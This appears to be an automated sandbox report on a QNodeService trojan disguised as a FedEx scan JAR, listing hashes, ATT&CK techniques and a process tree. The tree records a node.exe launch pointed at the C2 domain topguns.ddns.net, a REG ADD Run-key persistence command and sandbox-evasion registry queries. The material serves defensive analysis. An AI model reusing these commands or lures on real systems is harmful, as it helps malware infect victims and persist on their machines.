qnodeservice | 922f41ec696ff68fa3abfe2926f7fef3f2759fa451b79271d03b97d8a6028f32

General

Target

FedEx_Scan21731000921.jar
Size

111KB
MD5

8e2cdac7a60346d7b598d05f421c71a3
SHA1

9d1b7dc191121db6017d0cf766c40f7b88083aea
SHA256

922f41ec696ff68fa3abfe2926f7fef3f2759fa451b79271d03b97d8a6028f32
SHA512

775a5afbe8bad2ca8eccbb713f882d34908b6f6c903a9f5d67292674876fb6e8148abf7bccb01ee317f470c3975f9b030f35e7113f8e59d3d64227dc7f0ced7b

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
2028	node.exe
3860	node.exe
1832	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\00af0779-6157-484a-9119-287f9a3dac31 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab6c-177.dat	js
behavioral2/files/0x000100000001ab6c-180.dat	js
behavioral2/files/0x000100000001ab6c-184.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
24	wtfismyip.com
25	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2028	node.exe
2028	node.exe
2028	node.exe
2028	node.exe
3860	node.exe
3860	node.exe
3860	node.exe
3860	node.exe
1832	node.exe
1832	node.exe
1832	node.exe
1832	node.exe
1832	node.exe
1832	node.exe
1832	node.exe
1832	node.exe
1832	node.exe
1832	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3636 wrote to memory of 948	3636	java.exe	75
PID 3636 wrote to memory of 948	3636	java.exe	75
PID 948 wrote to memory of 2028	948	javaw.exe	79
PID 948 wrote to memory of 2028	948	javaw.exe	79
PID 2028 wrote to memory of 3860	2028	node.exe	81
PID 2028 wrote to memory of 3860	2028	node.exe	81
PID 3860 wrote to memory of 1832	3860	node.exe	82
PID 3860 wrote to memory of 1832	3860	node.exe	82
PID 1832 wrote to memory of 1784	1832	node.exe	84
PID 1832 wrote to memory of 1784	1832	node.exe	84
PID 1784 wrote to memory of 1128	1784	cmd.exe	85
PID 1784 wrote to memory of 1128	1784	cmd.exe	85

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\FedEx_Scan21731000921.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:3636
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\314266b8.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:948
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain topguns.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2028
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_KQr1H4\boot.js --hub-domain topguns.ddns.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3860
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_KQr1H4\boot.js --hub-domain topguns.ddns.net
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1832
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "00af0779-6157-484a-9119-287f9a3dac31" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1784
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "00af0779-6157-484a-9119-287f9a3dac31" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:1128

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1832-185-0x000003A314400000-0x000003A314401000-memory.dmp

Filesize
4KB

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memory/2028-178-0x000002AA5CDC0000-0x000002AA5CDC1000-memory.dmp

Filesize
4KB

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memory/3860-181-0x0000031A1F980000-0x0000031A1F981000-memory.dmp

Filesize
4KB

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